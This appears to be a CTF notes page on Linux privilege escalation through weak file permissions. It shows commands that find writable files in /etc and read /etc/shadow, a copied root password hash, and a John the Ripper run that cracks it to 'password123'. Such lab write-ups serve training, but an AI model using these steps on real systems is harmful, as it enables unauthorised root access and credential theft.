> For the complete documentation index, see [llms.txt](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/linux-priv/weak-file-permissions.md).

# Weak File Permissions

#### Investigate if you have any writable files that can be abused 

```bash
find /etc -maxdepth 1 -writable -type f
```

![](/files/LTyFexT2lxb2UCnA3p7m)

#### Check if you can read it. 

```bash
cat /etc/shadow
```

<figure><img src="/files/UeeSVLrHbux0GNtanoGx" alt=""><figcaption></figcaption></figure>

Copy and paste the line of the root, and save it as hash.txt.

```
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0
```

Crack the hash.

{% code overflow="wrap" %}

```bash
john --format=sha512crypt --wordlist=/root/wd/rockyou.txt hash.txt

#Using default input encoding: UTF-8
#Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
#Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (?)
#1g 0:00:00:03 DONE (2020-05-25 21:42) 0.3215g/s 452.7p/s 452.7c/s 452.7C/s teacher..tagged
#Use the "--show" option to display all of the cracked passwords reliably
#Session completed
```

{% endcode %}